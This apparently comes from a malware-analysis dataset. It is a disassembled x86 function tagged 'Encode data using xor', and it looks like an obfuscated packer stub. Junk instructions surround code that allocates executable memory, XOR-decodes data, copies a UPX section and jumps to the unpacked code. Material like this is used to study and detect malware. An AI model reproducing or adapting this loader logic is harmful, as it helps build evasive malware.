Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x628bbbc5
sub ebx, edx
mov ebx, 0xa2a15fc6
sub edx, ebx
popal
mov ebx, edx
mov edx, 0x7d4c2ad2
mov edi, 0
mov eax, esi
mov ebx, ecx
or ebx, ecx
mov edx, eax
mov ecx, 0xe13f1761
mov ebx, ecx
dec ecx
mov esi, edx
sub ebx, 0xb560cad6
sub ebx, 0x8f302ae
sub ebx, 0x8509fae3
inc edi
mov ebx, 0x23b466c8
or ecx, ebx
and ebx, ecx
cmp edi, 0x100c753
jne 0xa789c8
and ebx, ebx
or ecx, ebx
sub ecx, ebx
add edx, edx
add ebx, edx
sub edx, 0x3d0a5fe8
mov eax, 0xa78796
or edi, esi
mov edx, 0x4b261417
mov ecx, 0xa7898a
sub edi, 0x7932fe14
or edi, esi
mov ebx, dword [eax]
sub edi, 0x303eb09f
inc edx
and ebx, 0xff
sub edi, 0xbcbfdd3a
mov edx, 0xb8a912d
xor dword [ecx], ebx
and edi, edx
mov esi, edi
inc esi
inc ecx
sub edi, edx
add esi, esi
add eax, 1
inc edi
sub edx, edi
or esi, edi
cmp ecx, entry0
jl 0xa78a2b
or esi, esi
inc esi
sub edx, esi
add esi, edx
sub ecx, 0x62f2f57c
sub ebx, edx
add ecx, 0x38248375
mov edi, 0xa7898e
sub esi, ebx
mov ecx, 0x961f162e
not ebx
mov edi, dword [edi]
sub edx, 1
sub ebx, 0x78afeaf9
mov edi, dword [edi]
or ecx, ebx
add ecx, 0x624f08cd
not esi
push edi
add ebx, 0xfb3e50f7
not edx
mov edi, 0xa7898a
inc esi
and ecx, ecx
mov edi, dword [edi]
or edx, ebx
add edx, 1
mov edi, dword [edi]
mov edx, ebx
not ecx
push 0xa78992
and edx, esi
mov edx, esi
call edi
mov edx, ebx
inc edx
pop edi
inc ecx
inc edx
push 0xa7899f
sub ebx, esi
sub edx, ebx
sub esi, ecx
push eax
sub esi, 0x64e17809
dec esi
call edi
add ebx, esi
mov ecx, 0xb1eae149
sub esp, 4
mov dword [esp], 0x40
and esi, esi
not edx
push 0x3000
and ecx, edx
or ebx, esi
dec esi
push 0x200006c4
sub ebx, 1
add ebx, 0xa73c2d87
sub esp, 4
mov dword [esp], 0
add esi, 0x877a833d
dec ebx
mov ecx, ebx
call eax
add ebx, 0xcb7bffc4
and ecx, ebx
mov esi, 0x7a37f53b
add eax, 0x20000602
not ecx
sub edx, esi
mov edi, 0xbda15a14
inc ecx
add ecx, 0xd997fe6b
sub ebx, 1
mov dword [eax], edi
sub ecx, esi
mov ebx, 0xd5aed462
add ecx, esi
mov edi, dword [eax]
add edx, 1
or edx, edx
cmp edi, 0xbda15a14
je 0xa78b7e
mov ecx, 0
mov dl, byte [ecx]
sub ebx, 1
add esi, 0x8525e5c3
not ebx
inc esi
sub ebx, 1
sub edx, ebx
mov edi, section.UPX1
mov ebx, 0x480a238c
not edx
mov esi, 0xa78795
or ebx, edx
add edx, 1
mov ecx, 0
sub ebx, edx
inc ebx
mov eax, 0xa78796
and ebx, edx
mov ebx, 0x5b42a367
sub ebx, edx
lea eax, [eax + ecx]
mov ebx, edx
not ebx
sub ebx, edx
mov eax, dword [eax]
inc ebx
mov ebx, edx
and eax, 0xff
mov edx, ebx
mov edx, ebx
inc ecx
inc ebx
and ebx, edx
cmp ecx, 0x1f4
jne 0xa78bed
mov ecx, 0
sub edx, 0xba6e711a
or edx, edx
inc ebx
not edx
not edx
mov edx, ebx
xor dword [edi], eax
add edx, ebx
dec edx
add edx, 0xfdd684a2
add edi, 2
mov ebx, 0xdbf672cb
add ebx, 0x796e1b6f
cmp edi, esi
jl 0xa78bb6
dec edx
add ebx, 0x15f6306b
sub edx, 0x584aea76
sub ebx, 0xce968027
inc ebx
dec edx
mov edi, section.UPX1
not ebx
mov esi, 0xe38b5fa7
mov eax, section.UPX1
sub esi, 0xa43532e4
mov esi, ebx
mov ecx, 0xa78795
sub esi, ebx
sub esi, ebx
sub esi, ebx
mov edx, 0
sub ebx, 0xb6b5cb3c
sub esi, 0x4b2a631d
and esi, ebx
mov dl, byte [eax]
inc esi
and ebx, esi
add ebx, 0xc46c43f2
mov byte [edi], dl
sub esi, ebx
add esi, 0x474d671b
inc edi
add ebx, ebx
add esi, 0x1b86e453
add eax, 2
add ebx, 0x6e951f16
sub esi, ebx
add ebx, 1
cmp eax, ecx
jle 0xa78c6c
add esi, esi
sub esi, ebx
add ebx, 1
dec ebx
push 0x8dc6a0
mov ebx, 0xbae9217a
sub edx, ebx
ret